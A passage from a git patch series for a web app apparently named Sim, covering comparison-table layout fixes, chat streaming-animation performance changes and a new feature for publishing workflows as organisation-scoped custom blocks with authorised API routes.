From 0249516cab546d89ec60fc9524b885071d08a7f2 Mon Sep 17 00:00:00 2001 From: Waleed Date: Fri, 3 Jul 2026 20:58:13 -0700 Subject: [PATCH 01/16] fix(compare): swap LangChain logo, fix comparison-table horizontal scroll (#5409) * fix(compare): swap LangChain logo, fix comparison-table horizontal scroll Replace LangChainIcon's path with the official brand mark (light-blue link icon) instead of the prior monochrome recreation. The comparison table's grid cells were missing min-w-0, so a grid item without it sizes to its content's max-content width instead of respecting its column's fr track, pushing the whole table wider than its container and forcing a horizontal scrollbar. Add min-w-0 to every grid cell/header, and size the row-label column to minmax(140px, max-content) instead of a guessed fr ratio, so it's exactly as wide as its longest label ("Vetted first-party integrations") needs and no wider, leaving the Sim/competitor value columns their full share. * fix(compare): stacked mobile layout for the comparison table Below sm (640px) a 3-column table has no room to be legible even with the sticky label column, so switch to the standard responsive-table pattern instead: each fact stacks as label -> Sim's value -> the competitor's value, each value tagged with its product name since the column headers are no longer directly above. Pure CSS (max-sm:/sm: variants), no JS, keeping this a zero-hydration server component. * fix(compare): fix SourceLink inline-anchor overflow, align table breakpoint Root cause of the persistent table-overflow/mobile-scroll issues: SourceLink renders a plain with no explicit display, so it defaults to 'display: inline'. min-width and truncate are no-ops on inline elements, so any fact with a source (nearly all of them) ignored its flex/grid parent's width constraint and could force the whole row (and thus the whole table) wider than intended, regardless of any container-level min-w-0/max-content fix. Give the anchor 'block min-w-0' so width constraints and truncation actually cascade down to the wrapped value. Also aligns the table's mobile-stack breakpoint from an ad hoc sm (640px) to lg (1024px), matching this route group's own tablet-and-below convention (.claude/rules for the (landing) group), and fixes the stacked mobile cells to override the cell's base items-center with items-stretch so the name tag and value get a real full-width box to truncate within instead of shrinking to their own content size with no boundary. * fix(compare): add min-w-0 to ColumnHeader per Greptile review ColumnHeader (the Sim/competitor logo header cells in the two fr columns) still had default min-width: auto, so an unusually long competitor name could size the header to its min-content width and push the grid wider than its column allows, same root cause as the rows already fixed. --- .../comparison-table/comparison-table.tsx | 79 ++++++++++++++++--- .../components/source-info/source-info.tsx | 4 +- apps/sim/components/icons.tsx | 4 +- 3 files changed, 72 insertions(+), 15 deletions(-) diff --git a/apps/sim/app/(landing)/comparison/components/comparison-table/comparison-table.tsx b/apps/sim/app/(landing)/comparison/components/comparison-table/comparison-table.tsx index 70a21ae4e24..2b13db94836 100644 --- a/apps/sim/app/(landing)/comparison/components/comparison-table/comparison-table.tsx +++ b/apps/sim/app/(landing)/comparison/components/comparison-table/comparison-table.tsx @@ -10,6 +10,39 @@ export interface ComparisonTableProps { competitor: CompetitorProfile } +/** + * Pins the row-label column during horizontal scroll on genuinely spacious + * viewports (the standard pattern for responsive data tables, e.g. + * Stripe/GitHub/Notion comparison tables) so a reader keeps row context while + * scrolling to see the Sim/competitor values. Below `lg` (this page's own + * tablet-and-below tier, per `.claude/rules` for this route group) the table + * switches to a stacked layout instead (see `MOBILE_STACK_*`) rather than + * relying on horizontal scroll at a width too narrow to render a 3-column + * table comfortably, so sticky positioning is scoped to `lg:` only. The + * shadow is a permanent CSS-only affordance (no scroll-position JS) so this + * stays a zero-hydration server component. + */ +const STICKY_LABEL_COL = 'lg:sticky lg:left-0 lg:z-10 lg:shadow-[2px_0_4px_-2px_rgba(0,0,0,0.08)]' + +/** + * Below `lg` (1024px) a 3-column grid doesn't reliably have room to be + * legible, so each fact instead stacks as label -> Sim's value -> the + * competitor's value, with a small name tag on each value since the column + * headers are no longer directly above. Applied to the label cell. + */ +const MOBILE_STACK_LABEL = 'max-lg:border-r-0 max-lg:border-b-0 max-lg:pt-3 max-lg:pb-1' + +/** + * Applied to a value cell (Sim's or the competitor's) in the stacked mobile + * layout. `items-stretch` overrides the cell's base `items-center` (which + * would otherwise shrink-wrap and center each child horizontally in a + * flex-col): stretching gives the name tag and the value their own + * full-width box to left-align and truncate within, instead of a + * content-sized box with no boundary to clip against. + */ +const MOBILE_STACK_VALUE = + 'max-lg:flex-col max-lg:items-stretch max-lg:gap-0.5 max-lg:border-r-0 max-lg:px-4' + function ColumnHeader({ name, iconTile, @@ -22,12 +55,14 @@ function ColumnHeader({ return (
{iconTile} - {name} + + {name} +
) } @@ -49,15 +84,21 @@ export function ComparisonTable({ sim, competitor }: ComparisonTableProps) {
- Compare - + + Compare + + {sim.name} vs {competitor.name}
@@ -89,6 +130,8 @@ export function ComparisonTable({ sim, competitor }: ComparisonTableProps) { role='columnheader' className={cn( 'border-[var(--border)] border-r bg-[var(--surface-1)] px-4 py-2', + STICKY_LABEL_COL, + 'max-lg:border-r-0', sectionIdx > 0 && 'border-[var(--border-1)] border-t' )} > @@ -99,7 +142,7 @@ export function ComparisonTable({ sim, competitor }: ComparisonTableProps) {
0 && 'border-[var(--border-1)] border-t' )} /> @@ -115,28 +158,42 @@ export function ComparisonTable({ sim, competitor }: ComparisonTableProps) {
- {row.label} + + {row.label} +
+ + {sim.name} +
+ + {competitor.name} +
diff --git a/apps/sim/app/(landing)/comparison/components/source-info/source-info.tsx b/apps/sim/app/(landing)/comparison/components/source-info/source-info.tsx index fba0e4debd8..200d1c35aaf 100644 --- a/apps/sim/app/(landing)/comparison/components/source-info/source-info.tsx +++ b/apps/sim/app/(landing)/comparison/components/source-info/source-info.tsx @@ -1,7 +1,7 @@ 'use client' import type { ReactNode } from 'react' -import { Tooltip } from '@sim/emcn' +import { cn, Tooltip } from '@sim/emcn' import type { FactSource } from '@/lib/compare/data' export interface SourceLinkProps { @@ -29,7 +29,7 @@ export function SourceLink({ source, children, className }: SourceLinkProps) { target='_blank' rel='noopener noreferrer' aria-label={`${source.label} (opens source)`} - className={className} + className={cn('block min-w-0', className)} > {children}
diff --git a/apps/sim/components/icons.tsx b/apps/sim/components/icons.tsx index 9505f29ee94..ea1eeea8a10 100644 --- a/apps/sim/components/icons.tsx +++ b/apps/sim/components/icons.tsx @@ -1565,8 +1565,8 @@ export function LangChainIcon(props: SVGProps) { return ( ) From 818fa001336773468a5ee9c4fdeeb4798aafe088 Mon Sep 17 00:00:00 2001 From: Theodore Li Date: Sat, 4 Jul 2026 12:52:28 -0700 Subject: [PATCH 02/16] fix(mothership): stop chat perf decay from permanently-animated streamed messages (#5411) * fix(mothership): stop chat perf decay from permanently-animated streamed messages * fix(mothership): reset animation latches when a reused ChatContent gets replaced content * fix(mothership): keep streaming parser on settled messages to kill the drain-swap flash * fix(mothership): unify plain/special render branches to stop whole-message re-fade when options arrive * improvement(mothership): hold render-phase animation latches in useState per updated hook rules * fix(styling): translucent text-selection in form controls so field text stays readable * improvement(styling): one lighter translucent text-selection color everywhere, no forced text color * chore(styling): selection-muted tokens as 8-digit hex to match color token convention --- apps/sim/app/_styles/globals.css | 12 +- .../components/chat-content/chat-content.tsx | 289 ++++++++++++------ 2 files changed, 200 insertions(+), 101 deletions(-) diff --git a/apps/sim/app/_styles/globals.css b/apps/sim/app/_styles/globals.css index ecdff6f7b2b..bbb8eca1745 100644 --- a/apps/sim/app/_styles/globals.css +++ b/apps/sim/app/_styles/globals.css @@ -225,6 +225,7 @@ html.sidebar-booting .sidebar-shell-inner { --brand-accent: #33c482; --brand-accent-hover: #2dac72; --selection: #1a5cf6; + --selection-muted: #1a5cf647; --warning: #ea580c; /* Inverted surface (dark chrome on light page, e.g. tag dropdown) */ @@ -382,6 +383,7 @@ html.sidebar-booting .sidebar-shell-inner { --brand-accent: #33c482; --brand-accent-hover: #2dac72; --selection: #4b83f7; + --selection-muted: #4b83f759; --warning: #ff6600; /* Inverted surface (in dark mode, falls back to standard surfaces) */ @@ -492,10 +494,14 @@ html.sidebar-booting .sidebar-shell-inner { } /* Consistent branded text-selection color everywhere, independent of the - browser/OS default (which dims when the window loses focus). */ + browser/OS default (which dims when the window loses focus). Translucent, + with no color override, so selected text keeps its own paint on every + surface — solid-brand + forced white broke wherever glyphs aren't the + selected element's own (Chromium ignores ::selection color in form + controls, and the chat/workflow inputs render transparent textareas over + styled mirrors, which left black text on solid brand blue). */ ::selection { - background-color: var(--selection); - color: var(--white); + background-color: var(--selection-muted); } body { diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/chat-content/chat-content.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/chat-content/chat-content.tsx index afeac25cc3b..1283dc8617e 100644 --- a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/chat-content/chat-content.tsx +++ b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/chat-content/chat-content.tsx @@ -1,6 +1,6 @@ 'use client' -import { type ComponentPropsWithoutRef, memo, useEffect, useMemo, useRef } from 'react' +import { type ComponentPropsWithoutRef, memo, useEffect, useMemo, useRef, useState } from 'react' import { Streamdown } from 'streamdown' import 'streamdown/styles.css' // prismjs core must load before its language components — they register on the @@ -53,17 +53,42 @@ const PROSE_CLASSES = cn( /** * Soft fade for newly revealed text. Paired with {@link useSmoothText}, which - * paces the reveal: `sep: 'char'` fades each character as the pacer exposes it - * (so a growing trailing word never re-animates), and `stagger: 0` keeps the - * cadence driven by the pacer rather than an overlapping per-token delay ramp. + * paces the reveal; `stagger: 0` keeps the cadence driven by the pacer rather + * than an overlapping per-token delay ramp — every span revealed in one tick + * fades as a unit, so `sep: 'word'` looks identical to `sep: 'char'` while + * creating ~5x fewer spans. That span count is the dominant mid-stream cost: + * the animate plugin rebuilds a span per token for the WHOLE trailing block on + * every reveal tick, so per-char wrapping of a long paragraph meant thousands + * of hast nodes + React elements reconciled ~40x/sec. Streamdown's + * prev-content tracking keeps a word that grows across two ticks from + * re-fading (its continuation renders unfaded), and the pacer's word-boundary + * snapping makes such splits rare to begin with. */ const STREAM_ANIMATION = { animation: 'fadeIn', duration: 220, stagger: 0, - sep: 'char', + sep: 'word', } as const +/** + * How long after the reveal fully settles before the animated tree is dropped. + * Must exceed {@link STREAM_ANIMATION}'s 220ms duration so the last characters + * finish fading at full opacity before their spans are swapped for plain text. + */ +const ANIMATION_DRAIN_MS = 300 + +/** + * Once a segment has revealed this many characters, new text stops fading in; + * the word-paced reveal itself is unchanged. Fade cost scales with segment + * length — every reveal tick rebuilds a span per word for the WHOLE trailing + * markdown block — so on an unbroken wall of text it eventually swamps the + * frame budget (measured: ~9k-char single paragraphs spent ~30% of main-thread + * time in long tasks) while the fade itself is imperceptible detail that deep + * into a reply. + */ +const FADE_MAX_REVEALED_CHARS = 6000 + function startsInlineWord(value: string): boolean { return /^[A-Za-z0-9_(]/.test(value) } @@ -306,19 +331,91 @@ function ChatContentInner({ }, [isRevealing]) /** - * One-way latch: once a message has streamed in this mount, keep rendering it - * through Streamdown's streaming/animation pipeline for the rest of its life. - * Drives `mode`, `animated`, AND `isAnimating` together — all three must stay - * constant across the completion boundary. Streamdown removes the per-word - * `` wrappers (and re-parses the whole message) the instant `isAnimating` - * goes false, so wiring `isAnimating` to `isRevealing` (which flips at - * completion) reintroduces the streaming→static flash this latch exists to - * prevent. Content is stable once revealed, so a permanently-true - * `isAnimating` never re-fades anything. + * Streaming-tree lifecycle. While a message streams (and until its reveal + * drains), it renders through Streamdown's streaming/animated pipeline, whose + * animate plugin wraps every character in its own `` — + * thousands of DOM nodes per streamed message. Holding that tree forever made + * long sessions progressively laggier until a refresh (which renders the same + * transcript static). `animationDrained` flips one-way + * {@link ANIMATION_DRAIN_MS} after the reveal settles and swaps to the static + * pipeline; the drain window lets the last 220ms fades finish so the swap + * trades identical pixels, unlike flipping at `isRevealing`'s edge, which cut + * running fades short (the old completion flash). + * + * The swap must REMOUNT Streamdown (via `key`), not just flip its props: + * Streamdown's default element components are memoized on className + source + * position (`E`/`qe` in streamdown 2.5), so a re-parse of unchanged content + * without the animate plugin bails at every unoverridden element (`p`, + * `strong`, `tr`, headings, …) and leaves the stale per-char span DOM in + * place. The settled instance keeps the streaming parser (`parserTree` + * below) so the remount only sheds the spans, never re-interprets the + * markdown. + * + * The drain is deliberately one-way: a stream that resumes afterwards + * (reconnect/continuation) reveals paced but unfaded, because re-arming + * mounts a fresh animate plugin with no prev-content tracking, which would + * re-fade the entire already-visible message. */ - const streamedThisSession = useRef(false) - if (isStreaming) streamedThisSession.current = true - const keepStreamingTree = isRevealing || streamedThisSession.current + const [streamedThisSession, setStreamedThisSession] = useState(false) + const [animationDrained, setAnimationDrained] = useState(false) + const [fadeCutoff, setFadeCutoff] = useState(false) + + /** + * The per-session latches above outlive the content when React reuses this + * instance for a different logical message — parent rows key by turn + * position and text segments by run ordinal (both deliberately stable across + * the live→persisted id swap), so an ordinal shift or regeneration can hand + * a settled instance brand-new content whose stale `animationDrained` would + * silently render the new stream static. Reset the latches when the content + * is REPLACED (not an append of the previous string) after the instance has + * settled. A resumed turn only ever appends, so this never undoes the + * one-way drain; mid-stream sanitize rewrites are excluded by the + * `animationDrained` gate (the drain only fires after settle). All latches + * are render-phase `useState` adjustments (prev-tracker idiom), not refs — + * they are read during render, and state is concurrent-safe where a + * render-phase ref mutation is not. + */ + const [prevDisplayContent, setPrevDisplayContent] = useState(displayContent) + if (prevDisplayContent !== displayContent) { + setPrevDisplayContent(displayContent) + if (!displayContent.startsWith(prevDisplayContent) && animationDrained) { + setStreamedThisSession(false) + setFadeCutoff(false) + setAnimationDrained(false) + } + } + + if (isStreaming && !streamedThisSession) setStreamedThisSession(true) + + useEffect(() => { + if (isRevealing || animationDrained || !streamedThisSession) return + const timeout = setTimeout(() => setAnimationDrained(true), ANIMATION_DRAIN_MS) + return () => clearTimeout(timeout) + }, [isRevealing, animationDrained, streamedThisSession]) + + /** + * `parserTree` (drives `mode`) stays latched for the mount's life: streaming + * mode is the only one that applies remend/incomplete-markdown repair and + * block-split parsing, so a settled message must KEEP the streaming parser — + * swapping to `mode='static'` at drain re-parses the same source through a + * different pipeline (no remend, whole-doc parse) and visibly flashes on any + * reply with unbalanced markdown. `streamingTree` (drives the remount key + * and animation props) additionally drops at drain, so the settled instance + * re-renders through the SAME parser minus the per-word animation spans — + * byte-identical pixels. Only never-streamed mounts (reloaded history) + * render static. + */ + const parserTree = isRevealing || streamedThisSession + const streamingTree = parserTree && !animationDrained + + /** + * One-way fade cutoff (see {@link FADE_MAX_REVEALED_CHARS}). Latched so a + * sanitize-induced content shrink back across the boundary cannot re-arm + * `animated` — a fresh animate plugin has no prev-content tracking and would + * re-fade the entire visible segment. + */ + if (!fadeCutoff && streamedContent.length > FADE_MAX_REVEALED_CHARS) setFadeCutoff(true) + const fadeActive = streamingTree && !fadeCutoff useEffect(() => { const handler = (e: Event) => { @@ -338,93 +435,89 @@ function ChatContentInner({ () => parseSpecialTags(streamedContent, isRevealing), [streamedContent, isRevealing] ) - const hasSpecialContent = parsed.hasPendingTag || parsed.segments.some((s) => s.type !== 'text') - - if (hasSpecialContent) { - type BlockSegment = Exclude< - ContentSegment, - { type: 'text' } | { type: 'thinking' } | { type: 'workspace_resource' } - > - type RenderGroup = - | { kind: 'inline'; markdown: string } - | { kind: 'block'; segment: BlockSegment; index: number } - - const groups: RenderGroup[] = [] - let pendingMarkdown = '' - - const flushMarkdown = () => { - if (pendingMarkdown.trim()) { - groups.push({ kind: 'inline', markdown: pendingMarkdown }) - } - pendingMarkdown = '' - } - for (let i = 0; i < parsed.segments.length; i++) { - const s = parsed.segments[i] - const nextSegment = parsed.segments[i + 1] - if (s.type === 'workspace_resource') { - // Files are addressed by their encoded VFS path (copied verbatim from the tag); - // workflows/tables/KBs by id. The angle-bracket link destination keeps the path - // intact through markdown parsing (tolerates parens) without re-encoding it. - const ref = s.data.type === 'file' ? (s.data.path ?? s.data.id ?? '') : (s.data.id ?? '') - const label = s.data.title || ref - pendingMarkdown = appendInlineReferenceMarkdown( - pendingMarkdown, - `[${label}](<#wsres-${s.data.type}-${ref}>)`, - nextSegment - ) - } else if (s.type === 'text' || s.type === 'thinking') { - pendingMarkdown += s.content - } else { - flushMarkdown() - groups.push({ kind: 'block', segment: s, index: i }) - } + type BlockSegment = Exclude< + ContentSegment, + { type: 'text' } | { type: 'thinking' } | { type: 'workspace_resource' } + > + type RenderGroup = + | { kind: 'inline'; markdown: string } + | { kind: 'block'; segment: BlockSegment; index: number } + + const groups: RenderGroup[] = [] + let pendingMarkdown = '' + + const flushMarkdown = () => { + if (pendingMarkdown.trim()) { + groups.push({ kind: 'inline', markdown: pendingMarkdown }) } - flushMarkdown() + pendingMarkdown = '' + } - return ( -
- {groups.map((group, i) => { - if (group.kind === 'inline') { - return ( -
:first-child]:mt-0 [&>:last-child]:mb-0')} - > - - {group.markdown} - -
- ) - } - return ( - - ) - })} - {parsed.hasPendingTag && isRevealing && } -
- ) + for (let i = 0; i < parsed.segments.length; i++) { + const s = parsed.segments[i] + const nextSegment = parsed.segments[i + 1] + if (s.type === 'workspace_resource') { + // Files are addressed by their encoded VFS path (copied verbatim from the tag); + // workflows/tables/KBs by id. The angle-bracket link destination keeps the path + // intact through markdown parsing (tolerates parens) without re-encoding it. + const ref = s.data.type === 'file' ? (s.data.path ?? s.data.id ?? '') : (s.data.id ?? '') + const label = s.data.title || ref + pendingMarkdown = appendInlineReferenceMarkdown( + pendingMarkdown, + `[${label}](<#wsres-${s.data.type}-${ref}>)`, + nextSegment + ) + } else if (s.type === 'text' || s.type === 'thinking') { + pendingMarkdown += s.content + } else { + flushMarkdown() + groups.push({ kind: 'block', segment: s, index: i }) + } } + flushMarkdown() + /** + * Plain text and special-tag content share ONE render structure. A message + * with no special tags is simply a single inline group — it must NOT get a + * dedicated JSX branch, because most replies gain a trailing `` tag + * (suggested follow-ups) at the very end, and switching branches at that + * moment re-parents the Streamdown to a different tree position. React then + * remounts it with a fresh animate plugin and the ENTIRE message re-fades + * from transparent — the "flash at the conclusion". With the unified + * structure the leading text group keeps its position (`inline-0`) and only + * the new special block mounts. + */ return ( -
:first-child]:mt-0 [&>:last-child]:mb-0')}> - - {streamedContent} - +
+ {groups.map((group, i) => { + if (group.kind === 'inline') { + return ( +
:first-child]:mt-0 [&>:last-child]:mb-0')} + > + + {group.markdown} + +
+ ) + } + return ( + + ) + })} + {parsed.hasPendingTag && isRevealing && }
) } From 82eff5435d89a230352be1910ec165c0821c0ec2 Mon Sep 17 00:00:00 2001 From: Theodore Li Date: Sat, 4 Jul 2026 12:57:24 -0700 Subject: [PATCH 03/16] feat(custom-block): deploy a workflow as a reusable org-scoped block (#5407) * feat(custom-block): deploy a workflow as a reusable org-scoped block * fix(custom-block): reseed deploy form, guard duplicate publish, run child deployed * test(custom-block): isolate custom-block rows fetch in execution-core test * fix(custom-block): allow cross-workspace exec, org-scope authority, keep field ids, hide disabled * feat(custom-block): run child under source owner's identity, workspace, and env * fix(custom-block): bind publish authz to the source workflow's workspace * fix(custom-block): gate edit/delete on source-workspace admin, not org admin * chore(custom-block): rebaseline route count to 887 after staging merge * fix(custom-block): sanitize failure output so it can't leak source workflow internals * fix(custom-block): derive inputs and curated outputs from deployed state, not draft * fix(custom-block): hide disabled blocks from the toolbar palette too * fix(custom-block): bill nested + failed-run hosted cost; expose real inputs to the agent * fix(custom-block): enforce enterprise + flag gate at every consumption path --- apps/sim/app/api/custom-blocks/[id]/route.ts | 94 + apps/sim/app/api/custom-blocks/route.ts | 130 + .../app/api/workflows/[id]/execute/route.ts | 19 +- .../[workspaceId]/components/drop-zone.tsx | 42 + .../app/workspace/[workspaceId]/layout.tsx | 2 + .../components/trace-view/trace-view.tsx | 6 +- .../providers/custom-blocks-loader.tsx | 49 + .../deploy-modal/components/block/block.tsx | 406 + .../deploy-modal/components/block/index.ts | 1 + .../deploy-modal/components/index.ts | 1 + .../components/deploy-modal/deploy-modal.tsx | 69 +- .../panel/components/toolbar/toolbar.tsx | 99 +- .../[workspaceId]/w/[workflowId]/workflow.tsx | 19 +- .../w/components/sidebar/sidebar.tsx | 4 +- apps/sim/blocks/custom/build-config.test.ts | 123 + apps/sim/blocks/custom/build-config.ts | 168 + apps/sim/blocks/custom/client-overlay.ts | 50 + apps/sim/blocks/custom/custom-block-icon.tsx | 37 + apps/sim/blocks/custom/overlay.test.ts | 41 + apps/sim/blocks/custom/overlay.ts | 36 + apps/sim/blocks/custom/server-overlay.ts | 50 + apps/sim/blocks/registry.ts | 17 +- .../components/group-detail.tsx | 5 +- apps/sim/executor/execution/block-executor.ts | 32 +- .../handlers/workflow/workflow-handler.ts | 228 +- apps/sim/hooks/queries/custom-blocks.ts | 83 + apps/sim/lib/api/contracts/custom-blocks.ts | 115 + .../copilot/chat/workspace-context.test.ts | 25 +- .../sim/lib/copilot/chat/workspace-context.ts | 13 + .../server/blocks/get-blocks-metadata-tool.ts | 29 + apps/sim/lib/copilot/tools/server/router.ts | 22 +- .../copilot/vfs/custom-block-schema.test.ts | 48 + apps/sim/lib/copilot/vfs/serializers.ts | 17 +- apps/sim/lib/copilot/vfs/workspace-vfs.ts | 55 + apps/sim/lib/core/config/env.ts | 1 + .../sim/lib/core/config/feature-flags.test.ts | 19 + apps/sim/lib/core/config/feature-flags.ts | 7 + .../lib/workflows/custom-blocks/operations.ts | 367 + .../workflows/executor/execution-core.test.ts | 4 + .../lib/workflows/executor/execution-core.ts | 17 + apps/sim/lib/workflows/input-format.test.ts | 20 + apps/sim/lib/workflows/input-format.ts | 16 +- apps/sim/serializer/index.ts | 18 +- apps/sim/stores/panel/toolbar/store.ts | 4 +- packages/db/migrations/0254_custom_block.sql | 21 + .../db/migrations/meta/0254_snapshot.json | 17171 ++++++++++++++++ packages/db/migrations/meta/_journal.json | 7 + packages/db/schema.ts | 45 + scripts/check-api-validation-contracts.ts | 4 +- 49 files changed, 19802 insertions(+), 54 deletions(-) create mode 100644 apps/sim/app/api/custom-blocks/[id]/route.ts create mode 100644 apps/sim/app/api/custom-blocks/route.ts create mode 100644 apps/sim/app/workspace/[workspaceId]/components/drop-zone.tsx create mode 100644 apps/sim/app/workspace/[workspaceId]/providers/custom-blocks-loader.tsx create mode 100644 apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/block.tsx create mode 100644 apps/sim/app/workspace/[workspaceId]/w/[workflowId]/components/panel/components/deploy/components/deploy-modal/components/block/index.ts create mode 100644 apps/sim/blocks/custom/build-config.test.ts create mode 100644 apps/sim/blocks/custom/build-config.ts create mode 100644 apps/sim/blocks/custom/client-overlay.ts create mode 100644 apps/sim/blocks/custom/custom-block-icon.tsx create mode 100644 apps/sim/blocks/custom/overlay.test.ts create mode 100644 apps/sim/blocks/custom/overlay.ts create mode 100644 apps/sim/blocks/custom/server-overlay.ts create mode 100644 apps/sim/hooks/queries/custom-blocks.ts create mode 100644 apps/sim/lib/api/contracts/custom-blocks.ts create mode 100644 apps/sim/lib/copilot/vfs/custom-block-schema.test.ts create mode 100644 apps/sim/lib/workflows/custom-blocks/operations.ts create mode 100644 packages/db/migrations/0254_custom_block.sql create mode 100644 packages/db/migrations/meta/0254_snapshot.json diff --git a/apps/sim/app/api/custom-blocks/[id]/route.ts b/apps/sim/app/api/custom-blocks/[id]/route.ts new file mode 100644 index 00000000000..f7a59bed7f7 --- /dev/null +++ b/apps/sim/app/api/custom-blocks/[id]/route.ts @@ -0,0 +1,94 @@ +import { createLogger } from '@sim/logger' +import { getErrorMessage } from '@sim/utils/errors' +import type { NextRequest } from 'next/server' +import { NextResponse } from 'next/server' +import { + deleteCustomBlockContract, + updateCustomBlockContract, +} from '@/lib/api/contracts/custom-blocks' +import { parseRequest } from '@/lib/api/server' +import { getSession } from '@/lib/auth' +import { isFeatureEnabled } from '@/lib/core/config/feature-flags' +import { withRouteHandler } from '@/lib/core/utils/with-route-handler' +import { + CustomBlockValidationError, + deleteCustomBlock, + getCustomBlockManageContext, + updateCustomBlock, +} from '@/lib/workflows/custom-blocks/operations' +import { hasWorkspaceAdminAccess } from '@/lib/workspaces/permissions/utils' + +const logger = createLogger('CustomBlockAPI') + +type RouteContext = { params: Promise<{ id: string }> } + +/** + * Confirm the caller can manage (edit/delete) the block: admin of the block's + * SOURCE workflow's workspace — matching who could publish it. Org admins/owners + * hold admin on every org workspace, so they pass too; a workspace admin from a + * different workspace does not, so they cannot alter another workspace's block or + * its exposed outputs. + */ +async function authorizeManage(userId: string, id: string) { + const ctx = await getCustomBlockManageContext(id) + if (!ctx) return { error: NextResponse.json({ error: 'Not found' }, { status: 404 }) } + + if (!(await isFeatureEnabled('deploy-as-block', { userId, orgId: ctx.organizationId }))) { + return { + error: NextResponse.json({ error: 'Deploy as block is not enabled' }, { status: 403 }), + } + } + if (!ctx.sourceWorkspaceId || !(await hasWorkspaceAdminAccess(userId, ctx.sourceWorkspaceId))) { + return { error: NextResponse.json({ error: 'Admin permissions required' }, { status: 403 }) } + } + return { error: null } +} + +export const PATCH = withRouteHandler(async (request: NextRequest, context: RouteContext) => { + const session = await getSession() + if (!session?.user?.id) { + return NextResponse.json({ error: 'Unauthorized' }, { status: 401 }) + } + + const parsed = await parseRequest(updateCustomBlockContract, request, context) + if (!parsed.success) return parsed.response + + const { id } = parsed.data.params + const authz = await authorizeManage(session.user.id, id) + if (authz.error) return authz.error + + const { name, description, enabled, iconUrl, exposedOutputs } = parsed.data.body + try { + await updateCustomBlock(id, { + name, + description, + enabled, + iconUrl, + exposedOutputs, + }) + return NextResponse.json({ success: true as const }) + } catch (error) { + if (error instanceof CustomBlockValidationError) { + return NextResponse.json({ error: error.message }, { status: 400 }) + } + logger.error('Failed to update custom block', { id, error: getErrorMessage(error) }) + throw error + } +}) + +export const DELETE = withRouteHandler(async (request: NextRequest, context: RouteContext) => { + const session = await getSession() + if (!session?.user?.id) { + return NextResponse.json({ error: 'Unauthorized' }, { status: 401 }) + } + + const parsed = await parseRequest(deleteCustomBlockContract, request, context) + if (!parsed.success) return parsed.response + + const { id } = parsed.data.params + const authz = await authorizeManage(session.user.id, id) + if (authz.error) return authz.error + + await deleteCustomBlock(id) + return NextResponse.json({ success: true as const }) +}) diff --git a/apps/sim/app/api/custom-blocks/route.ts b/apps/sim/app/api/custom-blocks/route.ts new file mode 100644 index 00000000000..c244ae88ad4 --- /dev/null +++ b/apps/sim/app/api/custom-blocks/route.ts @@ -0,0 +1,130 @@ +import { createLogger } from '@sim/logger' +import { getErrorMessage } from '@sim/utils/errors' +import type { NextRequest } from 'next/server' +import { NextResponse } from 'next/server' +import { + listCustomBlocksContract, + publishCustomBlockContract, +} from '@/lib/api/contracts/custom-blocks' +import { parseRequest } from '@/lib/api/server' +import { getSession } from '@/lib/auth' +import { isOrganizationOnEnterprisePlan } from '@/lib/billing' +import { isFeatureEnabled } from '@/lib/core/config/feature-flags' +import { withRouteHandler } from '@/lib/core/utils/with-route-handler' +import { + CustomBlockValidationError, + type CustomBlockWithInputs, + listCustomBlocksWithInputs, + publishCustomBlock, +} from '@/lib/workflows/custom-blocks/operations' +import { + checkWorkspaceAccess, + getWorkspaceWithOwner, + hasWorkspaceAdminAccess, +} from '@/lib/workspaces/permissions/utils' + +const logger = createLogger('CustomBlocksAPI') + +/** Wire shape for a custom block. Keeps the icon field name explicit for the client. */ +function toWire(block: CustomBlockWithInputs) { + return { + id: block.id, + organizationId: block.organizationId, + workflowId: block.workflowId, + type: block.type, + name: block.name, + description: block.description, + iconUrl: block.iconUrl, + enabled: block.enabled, + inputFields: block.inputFields, + exposedOutputs: block.exposedOutputs, + } +} + +export const GET = withRouteHandler(async (request: NextRequest) => { + const session = await getSession() + if (!session?.user?.id) { + return NextResponse.json({ error: 'Unauthorized' }, { status: 401 }) + } + + const parsed = await parseRequest(listCustomBlocksContract, request, {}) + if (!parsed.success) return parsed.response + + const userId = session.user.id + const { workspaceId } = parsed.data.query + + const access = await checkWorkspaceAccess(workspaceId, userId) + if (!access.hasAccess) { + return NextResponse.json({ error: 'Access denied' }, { status: 403 }) + } + + const organizationId = access.workspace?.organizationId + if (!organizationId) { + return NextResponse.json({ enabled: false, customBlocks: [] }) + } + + if (!(await isFeatureEnabled('deploy-as-block', { userId, orgId: organizationId }))) { + return NextResponse.json({ enabled: false, customBlocks: [] }) + } + + const enabled = await isOrganizationOnEnterprisePlan(organizationId) + const blocks = enabled ? await listCustomBlocksWithInputs(organizationId) : [] + return NextResponse.json({ enabled, customBlocks: blocks.map(toWire) }) +}) + +export const POST = withRouteHandler(async (request: NextRequest) => { + const session = await getSession() + if (!session?.user?.id) { + return NextResponse.json({ error: 'Unauthorized' }, { status: 401 }) + } + + const parsed = await parseRequest(publishCustomBlockContract, request, {}) + if (!parsed.success) return parsed.response + + const userId = session.user.id + const { workspaceId, workflowId, name, description, iconUrl, exposedOutputs } = parsed.data.body + + if (!(await hasWorkspaceAdminAccess(userId, workspaceId))) { + return NextResponse.json({ error: 'Admin permissions required' }, { status: 403 }) + } + + const ws = await getWorkspaceWithOwner(workspaceId) + if (!ws?.organizationId) { + return NextResponse.json( + { error: 'Publishing a block requires the workspace to belong to an organization' }, + { status: 400 } + ) + } + const organizationId = ws.organizationId + + if (!(await isFeatureEnabled('deploy-as-block', { userId, orgId: organizationId }))) { + return NextResponse.json({ error: 'Deploy as block is not enabled' }, { status: 403 }) + } + + if (!(await isOrganizationOnEnterprisePlan(organizationId))) { + return NextResponse.json( + { error: 'Deploy as block requires an enterprise plan' }, + { status: 403 } + ) + } + + try { + const block = await publishCustomBlock({ + organizationId, + workspaceId, + workflowId, + userId, + name, + description, + iconUrl, + exposedOutputs, + }) + return NextResponse.json({ customBlock: toWire(block) }) + } catch (error) { + if (error instanceof CustomBlockValidationError) { + return NextResponse.json({ error: error.message }, { status: 400 }) + } + logger.error('Failed to publish custom block', { error: getErrorMessage(error) }) + throw error + } +}) diff --git a/apps/sim/app/api/workflows/[id]/execute/route.ts b/apps/sim/app/api/workflows/[id]/execute/route.ts index 4cd544c27bb..16bc63964a5 100644 --- 